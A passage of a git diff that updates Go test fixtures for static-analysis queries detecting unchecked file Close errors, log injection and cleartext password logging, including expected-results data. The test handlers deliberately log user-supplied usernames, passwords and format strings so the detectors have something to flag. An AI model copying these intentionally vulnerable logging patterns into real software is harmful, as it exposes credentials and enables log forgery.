 query: InconsistentCode/UnhandledCloseWritableHandle.ql
-postprocess: utils/test/PrettyPrintModels.ql
+postprocess:
+- utils/test/PrettyPrintModels.ql
+- utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/tests.go b/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/tests.go
index 36c78863b624..ec74b12e5a3d 100644
--- a/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/tests.go
+++ b/go/ql/test/query-tests/InconsistentCode/UnhandledCloseWritableHandle/tests.go
@@ -1,17 +1,18 @@
 package test
 
 import (
+	"io"
 	"log"
 	"os"
 )
 
 func closeFileDeferred(f *os.File) {
-	defer f.Close() // NOT OK, if `f` is writable
+	defer f.Close() // $ Alert=w Alert=rw
 }
 
 func closeFileDeferredIndirect(f *os.File) {
 	var cont = func() {
-		f.Close() // NOT OK, if `f` is writable
+		f.Close() // $ Alert=w Alert=rw
 	}
 
 	defer cont()
@@ -28,7 +29,7 @@ func closeFileDeferredIndirectReturn(f *os.File) {
 
 func deferredCalls() {
 	// open file for writing
-	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil {
+	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil { // $ Source=w
 		closeFileDeferred(f)               // NOT OK
 		closeFileDeferredIndirect(f)       // NOT OK
 		closeFileDeferredIndirectReturn(f) // OK - the error is not discarded at the call to Close (though it is discarded later)
@@ -42,7 +43,7 @@ func deferredCalls() {
 	}
 
 	// open file for reading and writing
-	if f, err := os.OpenFile("foo.txt", os.O_RDWR|os.O_TRUNC|os.O_CREATE, 0666); err != nil {
+	if f, err := os.OpenFile("foo.txt", os.O_RDWR|os.O_TRUNC|os.O_CREATE, 0666); err != nil { // $ Source=rw
 		closeFileDeferred(f)               // NOT OK
 		closeFileDeferredIndirect(f)       // NOT OK
 		closeFileDeferredIndirectReturn(f) // OK - the error is not discarded at the call to Close (though it is discarded later)
@@ -51,9 +52,9 @@ func deferredCalls() {
 
 func notDeferred() {
 	// open file for writing
-	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil {
+	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil { // $ Source
 		// the handle is write-only and we don't check if `Close` succeeds
-		f.Close() // NOT OK
+		f.Close() // $ Alert
 	}
 
 	// open file for reading
@@ -63,9 +64,9 @@ func notDeferred() {
 	}
 
 	// open file for reading and writing
-	if f, err := os.OpenFile("foo.txt", os.O_RDWR|os.O_TRUNC|os.O_CREATE, 0666); err != nil {
+	if f, err := os.OpenFile("foo.txt", os.O_RDWR|os.O_TRUNC|os.O_CREATE, 0666); err != nil { // $ Source
 		// the handle is read-write and we don't check if `Close` succeeds
-		f.Close() // NOT OK
+		f.Close() // $ Alert
 	}
 }
 
@@ -105,9 +106,9 @@ func deferredCloseWithSync() {
 
 func deferredCloseWithSyncEarlyReturn(n int) {
 	// open file for writing
-	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil {
+	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil { // $ Source
 		// a call to `Close` is deferred
-		defer f.Close() // NOT OK
+		defer f.Close() // $ Alert
 
 		if n > 100 {
 			return
@@ -122,10 +123,36 @@ func deferredCloseWithSyncEarlyReturn(n int) {
 
 func unhandledSync() {
 	// open file for writing
-	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil {
+	if f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666); err != nil { // $ Source
 		// we have a call to `Sync` which precedes the call to `Close`, but there is no check
 		// to see if `Sync` may have failed
 		f.Sync()
-		f.Close() // NOT OK
+		f.Close() // $ Alert
+	}
+}
+
+func returnedSync() error {
+	// open file for writing
+	f, err := os.OpenFile("foo.txt", os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0666)
+	if err != nil {
+		// we have a call to `Sync` which precedes the call to `Close`, but there is no check
+		// to see if `Sync` may have failed
+		return err
+	}
+	defer f.Close()
+	return f.Sync()
+}
+
+func copyFile(destFile string, mode os.FileMode, src io.Reader) error {
+	f, err := os.OpenFile(destFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, mode) // $ Source
+	if err != nil {
+		return err
+	}
+	defer f.Close() // $ SPURIOUS: Alert
+
+	_, err = io.Copy(f, src)
+	if err != nil {
+		return err
 	}
+	return f.Sync()
 }
diff --git a/go/ql/test/query-tests/Security/CWE-117/LogInjection.go b/go/ql/test/query-tests/Security/CWE-117/LogInjection.go
index 6fb628c4cc38..fc9d71791582 100644
--- a/go/ql/test/query-tests/Security/CWE-117/LogInjection.go
+++ b/go/ql/test/query-tests/Security/CWE-117/LogInjection.go
@@ -30,52 +30,54 @@ import (
 
 func handler(req *http.Request, ctx *goproxy.ProxyCtx) {
 	username := req.URL.Query()["username"][0]
-	slice := []any{"username", username}
+	password := req.URL.Query()["password"][0]
+	formatString := req.URL.Query()["formatString"][0]
 	testFlag := req.URL.Query()["testFlag"][0]
+	slice := []any{"username", username}
 
 	{
-		fmt.Print(username)       // $ hasTaintFlow="username"
-		fmt.Printf(username)      // $ hasTaintFlow="username"
-		fmt.Println(username)     // $ hasTaintFlow="username"
-		fmt.Fprint(nil, username) // Fprint functions are only loggers if they target stdout/stderr
-		fmt.Fprintf(nil, username)
-		fmt.Fprintln(nil, username)
+		fmt.Print(username, password)                // $ hasTaintFlow="username" hasTaintFlow="password"
+		fmt.Printf(formatString, username, password) // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
+		fmt.Println(username, password)              // $ hasTaintFlow="username" hasTaintFlow="password"
+		fmt.Fprint(nil, username, password)          // Fprint functions are only loggers if they target stdout/stderr
+		fmt.Fprintf(nil, formatString, username, password)
+		fmt.Fprintln(nil, username, password)
 	}
 	// log
 	{
-		log.Print("user %s logged in.\n", username)   // $ hasTaintFlow="username"
-		log.Printf("user %s logged in.\n", username)  // $ hasTaintFlow="username"
-		log.Println("user %s logged in.\n", username) // $ hasTaintFlow="username"
+		log.Print("user is logged in:", username, password)   // $ hasTaintFlow="username" hasTaintFlow="password"
+		log.Printf(formatString, username, password)          // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
+		log.Println("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
 
 		if testFlag == "true" {
-			log.Fatal("user %s logged in.\n", username) // $ hasTaintFlow="username"
+			log.Fatal("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
 		}
 		if testFlag == "true" {
-			log.Fatalf("user %s logged in.\n", username) // $ hasTaintFlow="username"
+			log.Fatalf(formatString, username, password) // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
 		}
 		if testFlag == "true" {
-			log.Fatalln("user %s logged in.\n", username) // $ hasTaintFlow="username"
+			log.Fatalln("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
 		}
 		if testFlag == "true" {
-			log.Panic("user %s logged in.\n", username) // $ hasTaintFlow="username"
+			log.Panic("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
 		}
 		if testFlag == "true" {
-			log.Panicf("user %s logged in.\n", username) // $ hasTaintFlow="username"
+			log.Panicf(formatString, username, password) // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
 		}
 		if testFlag == "true" {
-			log.Panicln("user %s logged in.\n", username) // $ hasTaintFlow="username"
+			log.Panicln("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
 		}
 
 		logger := log.Default()
-		logger.Print("user %s logged in.\n", username)   // $ hasTaintFlow="username"
-		logger.Printf("user %s logged in.\n", username)  // $ hasTaintFlow="username"
-		logger.Println("user %s logged in.\n", username) // $ hasTaintFlow="username"
-		logger.Fatal("user %s logged in.\n", username)   // $ hasTaintFlow="username"
-		logger.Fatalf("user %s logged in.\n", username)  // $ hasTaintFlow="username"
-		logger.Fatalln("user %s logged in.\n", username) // $ hasTaintFlow="username"
-		logger.Panic("user %s logged in.\n", username)   // $ hasTaintFlow="username"
-		logger.Panicf("user %s logged in.\n", username)  // $ hasTaintFlow="username"
-		logger.Panicln("user %s logged in.\n", username) // $ hasTaintFlow="username"
+		logger.Print("user is logged in:", username, password)   // $ hasTaintFlow="username" hasTaintFlow="password"
+		logger.Printf(formatString, username, password)          // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
+		logger.Println("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
+		logger.Fatal("user is logged in:", username, password)   // $ hasTaintFlow="username" hasTaintFlow="password"
+		logger.Fatalf(formatString, username, password)          // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
+		logger.Fatalln("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
+		logger.Panic("user is logged in:", username, password)   // $ hasTaintFlow="username" hasTaintFlow="password"
+		logger.Panicf(formatString, username, password)          // $ hasTaintFlow="formatString" hasTaintFlow="username" hasTaintFlow="password"
+		logger.Panicln("user is logged in:", username, password) // $ hasTaintFlow="username" hasTaintFlow="password"
 	}
 	// k8s.io/klog
 	{
@@ -421,7 +423,6 @@ func handler(req *http.Request, ctx *goproxy.ProxyCtx) {
 		simpleLogger.Tracew("%s", username)    // $ hasTaintFlow="username"
 		simpleLogger.Debugw("%s %s", slice...) // $ hasTaintFlow="slice"
 	}
-
 }
 
 type Logger interface {
@@ -514,8 +515,12 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 		verbose.Infof("user %q logged in.\n", username)
 		klog.Infof("user %q logged in.\n", username)
 		klog.Errorf("user %q logged in.\n", username)
-		klog.Fatalf("user %q logged in.\n", username)
-		klog.Exitf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			klog.Fatalf("user %q logged in.\n", username)
+		}
+		if testFlag == " true" {
+			klog.Exitf("user %q logged in.\n", username)
+		}
 	}
 	// elazarl/goproxy
 	{
@@ -529,16 +534,24 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 
 		glog.Infof("user %q logged in.\n", username)
 		glog.Errorf("user %q logged in.\n", username)
-		glog.Fatalf("user %q logged in.\n", username)
-		glog.Exitf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			glog.Fatalf("user %q logged in.\n", username)
+		}
+		if testFlag == " true" {
+			glog.Exitf("user %q logged in.\n", username)
+		}
 	}
 	// sirupsen/logrus
 	{
 		logrus.Debugf("user %q logged in.\n", username)
 		logrus.Errorf("user %q logged in.\n", username)
-		logrus.Fatalf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			logrus.Fatalf("user %q logged in.\n", username)
+		}
 		logrus.Infof("user %q logged in.\n", username)
-		logrus.Panicf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			logrus.Panicf("user %q logged in.\n", username)
+		}
 		logrus.Printf("user %q logged in.\n", username)
 		logrus.Tracef("user %q logged in.\n", username)
 		logrus.Warnf("user %q logged in.\n", username)
@@ -548,10 +561,14 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 		entry := logrus.WithFields(fields)
 		entry.Debugf("user %q logged in.\n", username)
 		entry.Errorf("user %q logged in.\n", username)
-		entry.Fatalf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			entry.Fatalf("user %q logged in.\n", username)
+		}
 		entry.Infof("user %q logged in.\n", username)
 		entry.Logf(0, "user %q logged in.\n", username)
-		entry.Panicf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			entry.Panicf("user %q logged in.\n", username)
+		}
 		entry.Printf("user %q logged in.\n", username)
 		entry.Tracef("user %q logged in.\n", username)
 		entry.Warnf("user %q logged in.\n", username)
@@ -560,10 +577,14 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 		logger := entry.Logger
 		logger.Debugf("user %q logged in.\n", username)
 		logger.Errorf("user %q logged in.\n", username)
-		logger.Fatalf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			logger.Fatalf("user %q logged in.\n", username)
+		}
 		logger.Infof("user %q logged in.\n", username)
 		logger.Logf(0, "user %q logged in.\n", username)
-		logger.Panicf("user %q logged in.\n", username)
+		if testFlag == " true" {
+			logger.Panicf("user %q logged in.\n", username)
+		}
 		logger.Printf("user %q logged in.\n", username)
 		logger.Tracef("user %q logged in.\n", username)
 		logger.Warnf("user %q logged in.\n", username)
@@ -599,8 +620,12 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 		verbose.Infof("user %#q logged in.\n", username) // $ hasTaintFlow="username"
 		klog.Infof("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
 		klog.Errorf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		klog.Fatalf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		klog.Exitf("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			klog.Fatalf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
+		if testFlag == " true" {
+			klog.Exitf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
 	}
 	// elazarl/goproxy
 	{
@@ -614,16 +639,24 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 
 		glog.Infof("user %#q logged in.\n", username)  // $ hasTaintFlow="username"
 		glog.Errorf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
-		glog.Fatalf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
-		glog.Exitf("user %#q logged in.\n", username)  // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			glog.Fatalf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
+		if testFlag == " true" {
+			glog.Exitf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
 	}
 	// sirupsen/logrus
 	{
-		logrus.Debugf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		logrus.Errorf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		logrus.Fatalf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		logrus.Infof("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
-		logrus.Panicf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
+		logrus.Debugf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		logrus.Errorf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			logrus.Fatalf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
+		logrus.Infof("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			logrus.Panicf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
 		logrus.Printf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
 		logrus.Tracef("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
 		logrus.Warnf("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
@@ -631,24 +664,32 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 
 		fields := make(logrus.Fields)
 		entry := logrus.WithFields(fields)
-		entry.Debugf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		entry.Errorf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		entry.Fatalf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		entry.Infof("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
-		entry.Logf(0, "user %#q logged in.\n", username)  // $ hasTaintFlow="username"
-		entry.Panicf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
+		entry.Debugf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		entry.Errorf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			entry.Fatalf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
+		entry.Infof("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
+		entry.Logf(0, "user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			entry.Panicf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
 		entry.Printf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
 		entry.Tracef("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
 		entry.Warnf("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
 		entry.Warningf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
 
 		logger := entry.Logger
-		logger.Debugf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		logger.Errorf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		logger.Fatalf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
-		logger.Infof("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
-		logger.Logf(0, "user %#q logged in.\n", username)  // $ hasTaintFlow="username"
-		logger.Panicf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
+		logger.Debugf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		logger.Errorf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			logger.Fatalf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
+		logger.Infof("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
+		logger.Logf(0, "user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		if testFlag == " true" {
+			logger.Panicf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
+		}
 		logger.Printf("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
 		logger.Tracef("user %#q logged in.\n", username)   // $ hasTaintFlow="username"
 		logger.Warnf("user %#q logged in.\n", username)    // $ hasTaintFlow="username"
@@ -677,3 +718,9 @@ func handlerGood4(req *http.Request, ctx *goproxy.ProxyCtx) {
 		sLogger.Warnf("user %#q logged in.\n", username) // $ hasTaintFlow="username"
 	}
 }
+
+// GOOD: User-provided values formatted using a %T directive, which prints the type of the argument
+func handlerGood5(req *http.Request) {
+	object := req.URL.Query()["username"][0]
+	log.Printf("found object of type %T.\n", object)
+}
diff --git a/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected b/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected
index 3435eff77754..a7f7f83a9ffe 100644
--- a/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected
+++ b/go/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected
@@ -1,35 +1,35 @@
 #select
-| klog.go:22:15:22:20 | header | klog.go:20:30:20:37 | selection of Header | klog.go:22:15:22:20 | header | $@ flows to a logging call. | klog.go:20:30:20:37 | selection of Header | Sensitive data returned by HTTP request headers |
-| klog.go:28:13:28:41 | call to Get | klog.go:28:13:28:20 | selection of Header | klog.go:28:13:28:41 | call to Get | $@ flows to a logging call. | klog.go:28:13:28:20 | selection of Header | Sensitive data returned by HTTP request headers |
-| main.go:15:12:15:19 | password | main.go:15:12:15:19 | password | main.go:15:12:15:19 | password | $@ flows to a logging call. | main.go:15:12:15:19 | password | Sensitive data returned by an access to password |
-| main.go:16:17:16:24 | password | main.go:16:17:16:24 | password | main.go:16:17:16:24 | password | $@ flows to a logging call. | main.go:16:17:16:24 | password | Sensitive data returned by an access to password |
-| main.go:17:13:17:20 | password | main.go:17:13:17:20 | password | main.go:17:13:17:20 | password | $@ flows to a logging call. | main.go:17:13:17:20 | password | Sensitive data returned by an access to password |
-| main.go:18:14:18:21 | password | main.go:18:14:18:21 | password | main.go:18:14:18:21 | password | $@ flows to a logging call. | main.go:18:14:18:21 | password | Sensitive data returned by an access to password |
-| main.go:19:12:19:19 | password | main.go:19:12:19:19 | password | main.go:19:12:19:19 | password | $@ flows to a logging call. | main.go:19:12:19:19 | password | Sensitive data returned by an access to password |
-| main.go:20:17:20:24 | password | main.go:20:17:20:24 | password | main.go:20:17:20:24 | password | $@ flows to a logging call. | main.go:20:17:20:24 | password | Sensitive data returned by an access to password |
-| main.go:21:13:21:20 | password | main.go:21:13:21:20 | password | main.go:21:13:21:20 | password | $@ flows to a logging call. | main.go:21:13:21:20 | password | Sensitive data returned by an access to password |
-| main.go:22:14:22:21 | password | main.go:22:14:22:21 | password | main.go:22:14:22:21 | password | $@ flows to a logging call. | main.go:22:14:22:21 | password | Sensitive data returned by an access to password |
-| main.go:23:12:23:19 | password | main.go:23:12:23:19 | password | main.go:23:12:23:19 | password | $@ flows to a logging call. | main.go:23:12:23:19 | password | Sensitive data returned by an access to password |
-| main.go:24:17:24:24 | password | main.go:24:17:24:24 | password | main.go:24:17:24:24 | password | $@ flows to a logging call. | main.go:24:17:24:24 | password | Sensitive data returned by an access to password |
-| main.go:25:13:25:20 | password | main.go:25:13:25:20 | password | main.go:25:13:25:20 | password | $@ flows to a logging call. | main.go:25:13:25:20 | password | Sensitive data returned by an access to password |
-| main.go:26:14:26:21 | password | main.go:26:14:26:21 | password | main.go:26:14:26:21 | password | $@ flows to a logging call. | main.go:26:14:26:21 | password | Sensitive data returned by an access to password |
-| main.go:27:16:27:23 | password | main.go:27:16:27:23 | password | main.go:27:16:27:23 | password | $@ flows to a logging call. | main.go:27:16:27:23 | password | Sensitive data returned by an access to password |
-| main.go:30:10:30:17 | password | main.go:30:10:30:17 | password | main.go:30:10:30:17 | password | $@ flows to a logging call. | main.go:30:10:30:17 | password | Sensitive data returned by an access to password |
-| main.go:31:15:31:22 | password | main.go:31:15:31:22 | password | main.go:31:15:31:22 | password | $@ flows to a logging call. | main.go:31:15:31:22 | password | Sensitive data returned by an access to password |
-| main.go:32:11:32:18 | password | main.go:32:11:32:18 | password | main.go:32:11:32:18 | password | $@ flows to a logging call. | main.go:32:11:32:18 | password | Sensitive data returned by an access to password |
-| main.go:33:12:33:19 | password | main.go:33:12:33:19 | password | main.go:33:12:33:19 | password | $@ flows to a logging call. | main.go:33:12:33:19 | password | Sensitive data returned by an access to password |
-| main.go:34:10:34:17 | password | main.go:34:10:34:17 | password | main.go:34:10:34:17 | password | $@ flows to a logging call. | main.go:34:10:34:17 | password | Sensitive data returned by an access to password |
-| main.go:35:15:35:22 | password | main.go:35:15:35:22 | password | main.go:35:15:35:22 | password | $@ flows to a logging call. | main.go:35:15:35:22 | password | Sensitive data returned by an access to password |
-| main.go:36:11:36:18 | password | main.go:36:11:36:18 | password | main.go:36:11:36:18 | password | $@ flows to a logging call. | main.go:36:11:36:18 | password | Sensitive data returned by an access to password |
-| main.go:37:12:37:19 | password | main.go:37:12:37:19 | password | main.go:37:12:37:19 | password | $@ flows to a logging call. | main.go:37:12:37:19 | password | Sensitive data returned by an access to password |
-| main.go:38:10:38:17 | password | main.go:38:10:38:17 | password | main.go:38:10:38:17 | password | $@ flows to a logging call. | main.go:38:10:38:17 | password | Sensitive data returned by an access to password |
-| main.go:39:15:39:22 | password | main.go:39:15:39:22 | password | main.go:39:15:39:22 | password | $@ flows to a logging call. | main.go:39:15:39:22 | password | Sensitive data returned by an access to password |
-| main.go:40:11:40:18 | password | main.go:40:11:40:18 | password | main.go:40:11:40:18 | password | $@ flows to a logging call. | main.go:40:11:40:18 | password | Sensitive data returned by an access to password |
-| main.go:41:12:41:19 | password | main.go:41:12:41:19 | password | main.go:41:12:41:19 | password | $@ flows to a logging call. | main.go:41:12:41:19 | password | Sensitive data returned by an access to password |
-| main.go:42:14:42:21 | password | main.go:42:14:42:21 | password | main.go:42:14:42:21 | password | $@ flows to a logging call. | main.go:42:14:42:21 | password | Sensitive data returned by an access to password |
-| main.go:44:12:44:19 | password | main.go:44:12:44:19 | password | main.go:44:12:44:19 | password | $@ flows to a logging call. | main.go:44:12:44:19 | password | Sensitive data returned by an access to password |
-| main.go:45:17:45:24 | password | main.go:45:17:45:24 | password | main.go:45:17:45:24 | password | $@ flows to a logging call. | main.go:45:17:45:24 | password | Sensitive data returned by an access to password |
-| main.go:52:35:52:42 | password | main.go:52:35:52:42 | password | main.go:52:35:52:42 | password | $@ flows to a logging call. | main.go:52:35:52:42 | password | Sensitive data returned by an access to password |
+| klog.go:23:15:23:20 | header | klog.go:21:30:21:37 | selection of Header | klog.go:23:15:23:20 | header | $@ flows to a logging call. | klog.go:21:30:21:37 | selection of Header | Sensitive data returned by HTTP request headers |
+| klog.go:29:13:29:41 | call to Get | klog.go:29:13:29:20 | selection of Header | klog.go:29:13:29:41 | call to Get | $@ flows to a logging call. | klog.go:29:13:29:20 | selection of Header | Sensitive data returned by HTTP request headers |
+| main.go:16:12:16:19 | password | main.go:16:12:16:19 | password | main.go:16:12:16:19 | password | $@ flows to a logging call. | main.go:16:12:16:19 | password | Sensitive data returned by an access to password |
+| main.go:17:19:17:26 | password | main.go:17:19:17:26 | password | main.go:17:19:17:26 | password | $@ flows to a logging call. | main.go:17:19:17:26 | password | Sensitive data returned by an access to password |
+| main.go:18:13:18:20 | password | main.go:18:13:18:20 | password | main.go:18:13:18:20 | password | $@ flows to a logging call. | main.go:18:13:18:20 | password | Sensitive data returned by an access to password |
+| main.go:19:14:19:21 | password | main.go:19:14:19:21 | password | main.go:19:14:19:21 | password | $@ flows to a logging call. | main.go:19:14:19:21 | password | Sensitive data returned by an access to password |
+| main.go:20:12:20:19 | password | main.go:20:12:20:19 | password | main.go:20:12:20:19 | password | $@ flows to a logging call. | main.go:20:12:20:19 | password | Sensitive data returned by an access to password |
+| main.go:21:19:21:26 | password | main.go:21:19:21:26 | password | main.go:21:19:21:26 | password | $@ flows to a logging call. | main.go:21:19:21:26 | password | Sensitive data returned by an access to password |
+| main.go:22:13:22:20 | password | main.go:22:13:22:20 | password | main.go:22:13:22:20 | password | $@ flows to a logging call. | main.go:22:13:22:20 | password | Sensitive data returned by an access to password |
+| main.go:23:14:23:21 | password | main.go:23:14:23:21 | password | main.go:23:14:23:21 | password | $@ flows to a logging call. | main.go:23:14:23:21 | password | Sensitive data returned by an access to password |
+| main.go:24:12:24:19 | password | main.go:24:12:24:19 | password | main.go:24:12:24:19 | password | $@ flows to a logging call. | main.go:24:12:24:19 | password | Sensitive data returned by an access to password |
+| main.go:25:19:25:26 | password | main.go:25:19:25:26 | password | main.go:25:19:25:26 | password | $@ flows to a logging call. | main.go:25:19:25:26 | password | Sensitive data returned by an access to password |
+| main.go:26:13:26:20 | password | main.go:26:13:26:20 | password | main.go:26:13:26:20 | password | $@ flows to a logging call. | main.go:26:13:26:20 | password | Sensitive data returned by an access to password |
+| main.go:27:14:27:21 | password | main.go:27:14:27:21 | password | main.go:27:14:27:21 | password | $@ flows to a logging call. | main.go:27:14:27:21 | password | Sensitive data returned by an access to password |
+| main.go:28:16:28:23 | password | main.go:28:16:28:23 | password | main.go:28:16:28:23 | password | $@ flows to a logging call. | main.go:28:16:28:23 | password | Sensitive data returned by an access to password |
+| main.go:32:10:32:17 | password | main.go:32:10:32:17 | password | main.go:32:10:32:17 | password | $@ flows to a logging call. | main.go:32:10:32:17 | password | Sensitive data returned by an access to password |
+| main.go:33:17:33:24 | password | main.go:33:17:33:24 | password | main.go:33:17:33:24 | password | $@ flows to a logging call. | main.go:33:17:33:24 | password | Sensitive data returned by an access to password |
+| main.go:34:11:34:18 | password | main.go:34:11:34:18 | password | main.go:34:11:34:18 | password | $@ flows to a logging call. | main.go:34:11:34:18 | password | Sensitive data returned by an access to password |
+| main.go:35:12:35:19 | password | main.go:35:12:35:19 | password | main.go:35:12:35:19 | password | $@ flows to a logging call. | main.go:35:12:35:19 | password | Sensitive data returned by an access to password |
+| main.go:36:10:36:17 | password | main.go:36:10:36:17 | password | main.go:36:10:36:17 | password | $@ flows to a logging call. | main.go:36:10:36:17 | password | Sensitive data returned by an access to password |
+| main.go:37:17:37:24 | password | main.go:37:17:37:24 | password | main.go:37:17:37:24 | password | $@ flows to a logging call. | main.go:37:17:37:24 | password | Sensitive data returned by an access to password |
+| main.go:38:11:38:18 | password | main.go:38:11:38:18 | password | main.go:38:11:38:18 | password | $@ flows to a logging call. | main.go:38:11:38:18 | password | Sensitive data returned by an access to password |
+| main.go:39:12:39:19 | password | main.go:39:12:39:19 | password | main.go:39:12:39:19 | password | $@ flows to a logging call. | main.go:39:12:39:19 | password | Sensitive data returned by an access to password |
+| main.go:40:10:40:17 | password | main.go:40:10:40:17 | password | main.go:40:10:40:17 | password | $@ flows to a logging call. | main.go:40:10:40:17 | password | Sensitive data returned by an access to password |
+| main.go:41:17:41:24 | password | main.go:41:17:41:24 | password | main.go:41:17:41:24 | password | $@ flows to a logging call. | main.go:41:17:41:24 | password | Sensitive data returned by an access to password |
+| main.go:42:11:42:18 | password | main.go:42:11:42:18 | password | main.go:42:11:42:18 | password | $@ flows to a logging call. | main.go:42:11:42:18 | password | Sensitive data returned by an access to password |
+| main.go:43:12:43:19 | password | main.go:43:12:43:19 | password | main.go:43:12:43:19 | password | $@ flows to a logging call. | main.go:43:12:43:19 | password | Sensitive data returned by an access to password |
+| main.go:44:14:44:21 | password | main.go:44:14:44:21 | password | main.go:44:14:44:21 | password | $@ flows to a logging call. | main.go:44:14:44:21 | password | Sensitive data returned by an access to password |
+| main.go:47:12:47:19 | password | main.go:47:12:47:19 | password | main.go:47:12:47:19 | password | $@ flows to a logging call. | main.go:47:12:47:19 | password | Sensitive data returned by an access to password |
+| main.go:48:17:48:24 | password | main.go:48:17:48:24 | password | main.go:48:17:48:24 | password | $@ flows to a logging call. | main.go:48:17:48:24 | password | Sensitive data returned by an access to password |
